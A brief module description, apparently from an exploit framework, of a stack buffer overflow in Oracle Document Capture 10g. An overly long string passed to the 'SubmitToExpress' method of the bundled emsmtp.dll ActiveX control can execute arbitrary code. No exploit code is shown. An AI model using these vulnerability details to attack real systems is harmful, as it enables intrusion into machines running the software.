          This module exploits a stack buffer overflow in Oracle Document Capture 10g (10.1.3.5.0).
        Oracle Document Capture 10g comes bundled with a third party ActiveX control
        emsmtp.dll (6.0.1.0). When passing an overly long string to the method "SubmitToExpress"
        an attacker may be able to execute arbitrary code.
